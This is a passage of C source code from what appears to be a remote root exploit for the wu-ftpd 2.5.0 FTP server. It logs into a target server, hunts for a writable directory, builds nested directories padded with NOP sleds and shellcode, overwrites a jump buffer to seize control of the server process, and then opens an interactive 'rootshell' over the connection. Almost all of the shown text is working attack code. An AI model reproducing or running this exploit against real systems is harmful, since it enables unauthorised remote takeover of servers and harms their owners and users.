| 796 | line = getline (); | ||
| 797 | } while (strncmp (line, msg, i) != 0 && strncmp (line, "5", 1) != 0); | ||
| 798 | |||
| 799 | return (line); | ||
| 800 | } | ||
| 801 | |||
| 802 | /* log_into_ftp | ||
| 803 | * | ||
| 804 | * log into the ftp server given the login name and password | ||
| 805 | * | ||
| 806 | * return nothing | ||
| 807 | */ | ||
| 808 | void | ||
| 809 | log_into_ftp (void) | ||
| 810 | { | ||
| 811 | char *line; | ||
| 812 | char foundmatch=0; | ||
| 813 | |||
| 814 | line = getmsg ("220 "); | ||
| 815 | hostinf.header = xstrdup (line); | ||
| 816 | |||
| 817 | if (!debug) | ||
| 818 | printf("%s", line); | ||
| 819 | if (!offset_selected) { | ||
| 820 | for (sptr = spdata ; sptr->banner ; ++sptr) { | ||
| 821 | if (strstr(line, sptr->banner)) { | ||
| 822 | foundmatch=1; | ||
| 823 | break; | ||
| 824 | } | ||
| 825 | } | ||
| 826 | if (!foundmatch) | ||
| 827 | err(0, "No offset selected, and no matching banner found!"); | ||
| 828 | } | ||
| 829 | |||
| 830 | printf ("Using offsets from: %s\n", sptr->desc); | ||
| 831 | |||
| 832 | putserv ("USER %s\n", tesopt.user); | ||
| 833 | getmsg ("331 "); | ||
| 834 | putserv ("PASS %s\n", tesopt.pass); | ||
| 835 | line = getmsg ("230 "); | ||
| 836 | if (strncmp ("5", line, 1) == 0) | ||
| 837 | err (0, "login not accepted!\n"); | ||
| 838 | |||
| 839 | if (strlen (tesopt.cwd) > 0) { | ||
| 840 | if (cwd (tesopt.cwd) == 0) { | ||
| 841 | err (0, "initial CWD failed."); | ||
| 842 | } | ||
| 843 | } | ||
| 844 | |||
| 845 | getpwd (); | ||
| 846 | |||
| 847 | return; | ||
| 848 | } | ||
| 849 | |||
| 850 | /* recurse_writable | ||
| 851 | * | ||
| 852 | * recursively scans for writable dirs, starting in CWD | ||
| 853 | * | ||
| 854 | * return 1 for CWD is writable | ||
| 855 | * return 0 for no writable dir found | ||
| 856 | */ | ||
| 857 | int | ||
| 858 | recurse_writable (void) | ||
| 859 | { | ||
| 860 | dirptr dirroot = NULL, | ||
| 861 | current = NULL, | ||
| 862 | prev = NULL; | ||
| 863 | char *line = "", | ||
| 864 | *tmp = ""; | ||
| 865 | |||
| 866 | if (is_writable () != 0) | ||
| 867 | return (1); | ||
| 868 | |||
| 869 | nostat = 0; | ||
| 870 | putserv ("STAT .\n"); | ||
| 871 | |||
| 872 | while (strncmp (line, "213 ", 4) != 0) { | ||
| 873 | line = getline (); | ||
| 874 | tmp = getdir (line); | ||
| 875 | |||
| 876 | if (tmp == NULL) | ||
| 877 | continue; | ||
| 878 | if (dirroot == NULL) { | ||
| 879 | current = dirroot = newdir (tmp); | ||
| 880 | continue; | ||
| 881 | } | ||
| 882 | |||
| 883 | current->next = newdir (tmp); | ||
| 884 | current = current->next; | ||
| 885 | } | ||
| 886 | |||
| 887 | nostat = 1; | ||
| 888 | current = dirroot; | ||
| 889 | |||
| 890 | while (current != NULL) { | ||
| 891 | if (cwd (current->name)) { | ||
| 892 | if (recurse_writable ()) | ||
| 893 | return (1); | ||
| 894 | cwd (".."); | ||
| 895 | } | ||
| 896 | |||
| 897 | prev = current; | ||
| 898 | current = current->next; | ||
| 899 | free (prev->name); | ||
| 900 | free (prev); | ||
| 901 | } | ||
| 902 | |||
| 903 | return (0); | ||
| 904 | } | ||
| 905 | |||
| 906 | /* mkd | ||
| 907 | * | ||
| 908 | * make a directory | ||
| 909 | * | ||
| 910 | * return 0 on success | ||
| 911 | * return 1 if the directory already exists | ||
| 912 | * retrun 2 on error | ||
| 913 | */ | ||
| 914 | int | ||
| 915 | mkd (char *name) | ||
| 916 | { | ||
| 917 | char *line; | ||
| 918 | |||
| 919 | putserv ("MKD %s\n", name); | ||
| 920 | line = getmsg ("257 "); | ||
| 921 | |||
| 922 | if (strncmp ("521 ", line, 4) == 0) | ||
| 923 | return (1); | ||
| 924 | |||
| 925 | if (strncmp ("257 ", line, 4) == 0) | ||
| 926 | return (0); | ||
| 927 | |||
| 928 | return (2); | ||
| 929 | } | ||
| 930 | |||
| 931 | |||
| 932 | /* rmd | ||
| 933 | * | ||
| 934 | * remove a directory | ||
| 935 | * | ||
| 936 | * return 0 on success | ||
| 937 | * return 1 on failure | ||
| 938 | */ | ||
| 939 | int | ||
| 940 | rmd (char *name) | ||
| 941 | { | ||
| 942 | char *line; | ||
| 943 | |||
| 944 | putserv ("RMD %s\n", name); | ||
| 945 | line = getmsg ("250 "); | ||
| 946 | |||
| 947 | if (strncmp("250 ", line, 4) == 0) | ||
| 948 | return (0); | ||
| 949 | |||
| 950 | return (1); | ||
| 951 | } | ||
| 952 | |||
| 953 | /* is_writeable | ||
| 954 | * | ||
| 955 | * check whether the current working directory is writeable | ||
| 956 | * | ||
| 957 | * return 1 if it is | ||
| 958 | * return 0 if it is not | ||
| 959 | */ | ||
| 960 | int | ||
| 961 | is_writable (void) | ||
| 962 | { | ||
| 963 | int i = 0, | ||
| 964 | is = 0; | ||
| 965 | |||
| 966 | redo: | ||
| 967 | if (++i > 3) | ||
| 968 | return (0); | ||
| 969 | |||
| 970 | is = mkd (tesopt.dirname); | ||
| 971 | if (is == 1) { | ||
| 972 | printf ("leet.. our file already exists.. delete and retry\n"); | ||
| 973 | rmd (tesopt.dirname); | ||
| 974 | |||
| 975 | goto redo; | ||
| 976 | } else if (is == 0) { | ||
| 977 | rmd (tesopt.dirname); | ||
| 978 | |||
| 979 | return (1); | ||
| 980 | } | ||
| 981 | |||
| 982 | return (0); | ||
| 983 | } | ||
| 984 | |||
| 985 | /* cwd | ||
| 986 | * | ||
| 987 | * change current working directory on the ftp server | ||
| 988 | * | ||
| 989 | * return 1 on success | ||
| 990 | * return 0 on failure | ||
| 991 | */ | ||
| 992 | int | ||
| 993 | cwd (const char *path) | ||
| 994 | { | ||
| 995 | char *line; | ||
| 996 | |||
| 997 | if (debug != 0) | ||
| 998 | printf ("CWD %s\n", path); | ||
| 999 | |||
| 1000 | putserv ("CWD %s\n", path); | ||
| 1001 | line = getmsg ("250 "); | ||
| 1002 | |||
| 1003 | if (strncmp ("250 ",line, 4) == 0) | ||
| 1004 | return (1); | ||
| 1005 | |||
| 1006 | return (0); | ||
| 1007 | } | ||
| 1008 | |||
| 1009 | /* getpwd | ||
| 1010 | * | ||
| 1011 | * sets hostinf.pwd to CWD | ||
| 1012 | * | ||
| 1013 | * returns nothing | ||
| 1014 | */ | ||
| 1015 | void | ||
| 1016 | getpwd (void) | ||
| 1017 | { | ||
| 1018 | char *tmp, | ||
| 1019 | *line; | ||
| 1020 | char *chr, | ||
| 1021 | *rchr; | ||
| 1022 | |||
| 1023 | putserv ("PWD\n"); | ||
| 1024 | line = getmsg ("257 "); | ||
| 1025 | if (strncmp ("257 ", line, 4) != 0) | ||
| 1026 | err (0, "getpwd failed: incorrect answer: %s", line); | ||
| 1027 | |||
| 1028 | /* too long, but for sure long enough. */ | ||
| 1029 | tmp = xcalloc (strlen (line) + 1, 1); | ||
| 1030 | |||
| 1031 | chr = strchr (line, '"'); | ||
| 1032 | rchr = strrchr (line, '"'); | ||
| 1033 | |||
| 1034 | if (chr == NULL) | ||
| 1035 | err (0, "no \"'s in getpwd."); | ||
| 1036 | |||
| 1037 | if (chr == rchr) | ||
| 1038 | err (0, "only one \" in getpwd."); | ||
| 1039 | |||
| 1040 | if ((rchr - chr) < 2) | ||
| 1041 | err (0, "pwd too short?"); | ||
| 1042 | |||
| 1043 | strncat (tmp, chr + 1, rchr - chr - 1); | ||
| 1044 | |||
| 1045 | if (hostinf.pwd != NULL) | ||
| 1046 | free (hostinf.pwd); | ||
| 1047 | |||
| 1048 | hostinf.pwd = xstrdup (tmp); | ||
| 1049 | free (tmp); | ||
| 1050 | |||
| 1051 | hostinf.pwdlen = strlen (hostinf.pwd); | ||
| 1052 | /* printf("current pwd is %s\n", hostinf.pwd); */ | ||
| 1053 | } | ||
| 1054 | |||
| 1055 | /* getdir | ||
| 1056 | * | ||
| 1057 | * get directory from a STAT string (parsing works with wuftpd AND proftpd) | ||
| 1058 | * | ||
| 1059 | * return pointer to directory name on success | ||
| 1060 | * return NULL on failure/not a directory | ||
| 1061 | */ | ||
| 1062 | char * | ||
| 1063 | getdir (char *stat) | ||
| 1064 | { | ||
| 1065 | char *dir = stat; | ||
| 1066 | |||
| 1067 | if (strlen (dir) < 57) | ||
| 1068 | return (NULL); | ||
| 1069 | |||
| 1070 | if (strncmp (" ", dir, 1) == 0) | ||
| 1071 | ++dir; | ||
| 1072 | if (strncmp ("d", dir, 1) != 0) | ||
| 1073 | return (NULL); | ||
| 1074 | |||
| 1075 | dir += 55; | ||
| 1076 | dir[strlen (dir) - 2] = 0; | ||
| 1077 | /* printf("strlen is %d for %s",strlen(dir), dir); */ | ||
| 1078 | |||
| 1079 | if (strcmp (".", dir) == 0 || strcmp ("..", dir) == 0) | ||
| 1080 | return (NULL); | ||
| 1081 | |||
| 1082 | return (dir); | ||
| 1083 | } | ||
| 1084 | |||
| 1085 | /* cleanup_and_exit | ||
| 1086 | * | ||
| 1087 | * cleanup functions on exit | ||
| 1088 | * | ||
| 1089 | * return nothing | ||
| 1090 | */ | ||
| 1091 | void | ||
| 1092 | cleanup_and_exit (void) | ||
| 1093 | { | ||
| 1094 | free (tesopt.rev); | ||
| 1095 | free (hostinf.header); | ||
| 1096 | free (hostinf.pwd); | ||
| 1097 | close (fd); | ||
| 1098 | |||
| 1099 | printf ("%s\n", C_NORM); | ||
| 1100 | |||
| 1101 | exit (EXIT_SUCCESS); | ||
| 1102 | } | ||
| 1103 | |||
| 1104 | /* x2port | ||
| 1105 | * | ||
| 1106 | * like atoi, but with getservbyname if atoi() fails | ||
| 1107 | * | ||
| 1108 | * return port | ||
| 1109 | */ | ||
| 1110 | int | ||
| 1111 | x2port (const char *smtn) | ||
| 1112 | { | ||
| 1113 | struct servent *serv; | ||
| 1114 | int port; | ||
| 1115 | |||
| 1116 | port = atoi (smtn); | ||
| 1117 | if (port == 0) { | ||
| 1118 | serv = getservbyname (smtn, "tcp"); | ||
| 1119 | if (serv != NULL) | ||
| 1120 | port = htons (serv->s_port); | ||
| 1121 | } | ||
| 1122 | |||
| 1123 | return (port); | ||
| 1124 | } | ||
| 1125 | |||
| 1126 | /* int2char | ||
| 1127 | * | ||
| 1128 | * converts an integer to 4byte char * | ||
| 1129 | * | ||
| 1130 | * return port | ||
| 1131 | */ | ||
| 1132 | char int2char_tmp[8]; | ||
| 1133 | char * | ||
| 1134 | int2char (int addr) | ||
| 1135 | { | ||
| 1136 | bzero(&int2char_tmp, 8); | ||
| 1137 | int2char_tmp[0] = (addr & 0x000000ff); | ||
| 1138 | int2char_tmp[1] = (addr & 0x0000ff00) >> 8; | ||
| 1139 | int2char_tmp[2] = (addr & 0x00ff0000) >> 16; | ||
| 1140 | int2char_tmp[3] = (addr & 0xff000000) >> 24; | ||
| 1141 | int2char_tmp[4] = 0; | ||
| 1142 | |||
| 1143 | return (int2char_tmp); | ||
| 1144 | } | ||
| 1145 | |||
| 1146 | /* wuftpd_250_sploitit | ||
| 1147 | * | ||
| 1148 | * tries to exploit wuftpd 2.5.0, after all preparation work is done. | ||
| 1149 | * | ||
| 1150 | * return 0 on error | ||
| 1151 | * return 1 on success | ||
| 1152 | */ | ||
| 1153 | int | ||
| 1154 | wuftpd_250_sploitit (void) | ||
| 1155 | { | ||
| 1156 | int shelloff, | ||
| 1157 | times, | ||
| 1158 | fill; | ||
| 1159 | int start_writing_to_errcatch, | ||
| 1160 | argvlen, | ||
| 1161 | behind_errcatch; | ||
| 1162 | int i, n; | ||
| 1163 | char string[2048]; | ||
| 1164 | |||
| 1165 | argvlen = strlen ("ftpd: "); | ||
| 1166 | argvlen += strlen (tesopt.rev); | ||
| 1167 | argvlen += strlen (": "); | ||
| 1168 | argvlen += strlen (tesopt.user); | ||
| 1169 | argvlen += strlen (": "); | ||
| 1170 | |||
| 1171 | if (strncmp ("anonymous", tesopt.user, 9) == 0) | ||
| 1172 | argvlen += strlen (tesopt.pass) + 1; | ||
| 1173 | |||
| 1174 | times = (sptr->maxpathlen-hostinf.pwdlen) / (tesopt.dirlen + 1); | ||
| 1175 | |||
| 1176 | fill = sptr->maxpathlen-hostinf.pwdlen - (tesopt.dirlen + 1) * times; | ||
| 1177 | |||
| 1178 | if (debug > 0) { | ||
| 1179 | printf ("CWD %d + (dirlen %d * %d times) + fill %d = %d\n", | ||
| 1180 | hostinf.pwdlen, tesopt.dirlen, times, fill, sptr->maxpathlen); | ||
| 1181 | } | ||
| 1182 | |||
| 1183 | if (strlen (shellcode) > (tesopt.dirlen - 40)) | ||
| 1184 | err(0, "shellcode too big, edit the source to use less padding," | ||
| 1185 | "\nhmm.. this shouldn't have happened with LaM3rZ shellcode!"); | ||
| 1186 | |||
| 1187 | /* let's try to hit the middle of our 0x90 pad */ | ||
| 1188 | shelloff = sptr->mapped_path + hostinf.pwdlen | ||
| 1189 | + ( (tesopt.dirlen - strlen(shellcode)) / 2); | ||
| 1190 | |||
| 1191 | if (debug > 0) | ||
| 1192 | printf ("will try to longjmp to 0x%x\n", shelloff); | ||
| 1193 | |||
| 1194 | start_writing_to_errcatch = sptr->errcatch - argvlen; | ||
| 1195 | behind_errcatch = sptr->errcatch + (6 * 4) + 2 + 8; | ||
| 1196 | |||
| 1197 | if (debug > 0) { | ||
| 1198 | printf ("errcatch(0x%x) - argvlen(%d) = start 0x%x - end 0x%x\n", | ||
| 1199 | sptr->errcatch, argvlen, start_writing_to_errcatch, behind_errcatch); | ||
| 1200 | } | ||
| 1201 | |||
| 1202 | memset (string, 'A', tesopt.dirlen); | ||
| 1203 | |||
| 1204 | if (debug<3) /* 0x0e/^N in shellcode -> not meant for humans. */ | ||
| 1205 | disp = 0; | ||
| 1206 | for (i = 0; i < times; i++) { | ||
| 1207 | switch (i) { | ||
| 1208 | case 0: memset (string, 0x90, tesopt.dirlen); | ||
| 1209 | memcpy (string+tesopt.dirlen-strlen(shellcode), | ||
| 1210 | shellcode, strlen (shellcode)); | ||
| 1211 | break; | ||
| 1212 | case 1: memset (string, 0x90, tesopt.dirlen); break; | ||
| 1213 | default: | ||
| 1214 | break; | ||
| 1215 | } | ||
| 1216 | |||
| 1217 | string[tesopt.dirlen] = 0; | ||
| 1218 | putserv ("MKD %s\n", string); | ||
| 1219 | getline (); | ||
| 1220 | |||
| 1221 | putserv ("CWD %s\n", string); | ||
| 1222 | getline (); | ||
| 1223 | } | ||
| 1224 | |||
| 1225 | getpwd (); | ||
| 1226 | disp = 1; | ||
| 1227 | |||
| 1228 | if (debug > 0) | ||
| 1229 | printf ("Now %d bytes deep in dir structure.\n", hostinf.pwdlen); | ||
| 1230 | |||
| 1231 | if (fill != sptr->maxpathlen-hostinf.pwdlen) | ||
| 1232 | err (0, "Calculation wrong. Error!"); | ||
| 1233 | |||
| 1234 | if (fill > 506) | ||
| 1235 | err (0, "Aw.. fuck! My fill is waaaay to big!\n"); | ||
| 1236 | |||
| 1237 | /* onefile[0], onefile[1] and maybe pad_eax */ | ||
| 1238 | fill += sptr->pad_eax ? 12 : 8; | ||
| 1239 | |||
| 1240 | n = fill/4; | ||
| 1241 | string[0] = 0; | ||
| 1242 | for (i=0; i < n; i++) | ||
| 1243 | strcat(string, int2char(start_writing_to_errcatch)); | ||
| 1244 | for (i=1; i < (fill - (n*4)); i++) | ||
| 1245 | strcat(string, "A"); | ||
| 1246 | |||
| 1247 | /* mapped_path + currentpwdlen + / + 3*4 -> should be pointer to errcatch */ | ||
| 1248 | strcat (string, int2char (sptr->mapped_path+hostinf.pwdlen+13)); /* Argv */ | ||
| 1249 | strcat (string, int2char (behind_errcatch)); /* LastArgv */ | ||
| 1250 | |||
| 1251 | if (debug > 0) | ||
| 1252 | printf ("Sending final CWD\n"); | ||
| 1253 | |||
| 1254 | if (strlen (string) < 20) | ||
| 1255 | err (0, "cwd string too short.. check for 0x0's.\n"); | ||
| 1256 | |||
| 1257 | putserv ("CWD %s\n", string); | ||
| 1258 | getline (); | ||
| 1259 | |||
| 1260 | /************ jmpbuf ***********/ | ||
| 1261 | |||
| 1262 | if (debug > 0) | ||
| 1263 | printf ("Sending jmpbuf\n"); | ||
| 1264 | |||
| 1265 | string[0] = 0; | ||
| 1266 | for (i=0; i<8; i++) /* (sizeof(jmpbuf) = 24)+8.. */ | ||
| 1267 | strcat (string, int2char (shelloff)); | ||
| 1268 | |||
| 1269 | if (strlen (string) != 32) | ||
| 1270 | err (0, "jmpbuf string too short.. check for 0x0's.\n"); | ||
| 1271 | |||
| 1272 | putserv ("%s\n", string); | ||
| 1273 | |||
| 1274 | getline (); | ||
| 1275 | |||
| 1276 | return (1); | ||
| 1277 | } | ||
| 1278 | |||
| 1279 | /* shell | ||
| 1280 | * | ||
| 1281 | * provide a pseudo shell.. | ||
| 1282 | * | ||
| 1283 | * return nothing | ||
| 1284 | */ | ||
| 1285 | void | ||
| 1286 | shell (void) | ||
| 1287 | { | ||
| 1288 | char buf[5120]; | ||
| 1289 | int l; | ||
| 1290 | fd_set rfds; | ||
| 1291 | |||
| 1292 | printf("%sSpawning rootshell:%s\n", C_RED, C_NORM); | ||
| 1293 | |||
| 1294 | while (1) { | ||
| 1295 | FD_SET (0, &rfds); | ||
| 1296 | FD_SET (fd, &rfds); | ||
| 1297 | |||
| 1298 | select (fd+1, &rfds, NULL, NULL, NULL); | ||
| 1299 | if (FD_ISSET (0, &rfds)) { | ||
| 1300 | l = read (0, buf, sizeof (buf)); | ||
| 1301 | if (l <= 0) | ||
| 1302 | cleanup_and_exit (); | ||
| 1303 | xwrite (fd, buf, l); | ||
| 1304 | } | ||
| 1305 | |||
| 1306 | if (FD_ISSET (fd, &rfds)) { | ||
| 1307 | l = read (fd, buf, sizeof (buf)); | ||
| 1308 | if (l <= 0) | ||
| 1309 | cleanup_and_exit (); | ||
| 1310 | xwrite (1, buf, l); | ||
| 1311 | } | ||
| 1312 | } | ||
| 1313 | } | ||
| 1314 | |||
| 1315 | /* check_test_return | ||
| 1316 | * | ||
| 1317 | * Check if testcode sploiting was successfull. | ||
| 1318 | * | ||
| 1319 | * return 0 on failure | ||
| 1320 | * return 1 on success | ||
| 1321 | */ | ||
| 1322 | |||
| 1323 | int check_test_return(char *what, int len) { | ||
| 1324 | char line[1024]; | ||
| 1325 | int i, flags; | ||
| 1326 | fd_set rset; | ||
| 1327 | struct timeval tv; | ||
| 1328 | |||
| 1329 | printf("w8ing for testshellcode to respond...\n"); | ||
| 1330 | flags = fcntl(fd, F_GETFL, 0); | ||
| 1331 | if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0) | ||
| 1332 | err(1, "fcntl fucked up (testshellcode)"); | ||
| 1333 | |||
| 1334 | FD_ZERO(&rset); | ||
| 1335 | FD_SET(fd, &rset); | ||
| 1336 | |||
| 1337 | tv.tv_sec = 10; | ||
| 1338 | tv.tv_usec = 0; | ||
| 1339 | |||
| 1340 | if (!select(fd + 1, &rset, NULL, NULL, &tv)) | ||
| 1341 | err(0, "select timed out(testshellcode)"); | ||
| 1342 | |||
| 1343 | i = read(fd, line, len); | ||
| 1344 | if (!strncmp(what, line, len)) { | ||
| 1345 | printf("%sSploit successfull!%s\n", C_RED, C_NORM); | ||
| 1346 | return(1); | ||
| 1347 | }; | ||
| 1348 | printf("%sSploit not successfull!%s\n", C_RED, C_NORM); | ||
| 1349 | return(0); | ||
| 1350 | } | ||
| 1351 | |||
| 1352 | int | ||
| 1353 | main (int argc, char **argv) | ||
| 1354 | { | ||
| 1355 | int i; | ||
| 1356 | title (); | ||
| 1357 | |||
| 1358 | if (argc < 3) | ||
| 1359 | usage (argv[0]); | ||
| 1360 | |||
| 1361 | signal (SIGINT, (void *) &sighandler); | ||
| 1362 | signal (SIGQUIT, (void *) &sighandler); | ||
| 1363 | |||
| 1364 | parseargs (argc, argv); | ||
| 1365 | |||
| 1366 | printf("Connecting...\n"); | ||
| 1367 | connect_to_ftp (); | ||
| 1368 | |||
| 1369 | log_into_ftp (); | ||
| 1370 | if (sptr->need_writable || tesopt.dirscanonly) { | ||
| 1371 | printf ("Logged in! Searching for a writable directory...\n"); | ||
| 1372 | if (!recurse_writable()) | ||
| 1373 | err (0, "kurwa mac! no writable dir found\n"); | ||
| 1374 | } else { | ||
| 1375 | printf ("Logged in!\n"); | ||
| 1376 | } | ||
| 1377 | |||
| 1378 | getpwd (); | ||
| 1379 | printf (" %s is writable.. rock on!\n", hostinf.pwd); | ||
| 1380 | |||
| 1381 | if (!tesopt.dirscanonly) { | ||
| 1382 | printf("Trying to sploit...\n"); | ||
| 1383 | sptr->code(); | ||
| 1384 | tesopt.testonly ? i = check_test_return("teso\n", 5) : shell(); | ||
| 1385 | if (!i) | ||
| 1386 | printf ("sploiting not successfull\n"); | ||
| 1387 | } | ||
| 1388 | |||
| 1389 | cleanup_and_exit(); | ||
| 1390 | return (0); /* not reached */ | ||
| 1391 | } | ||
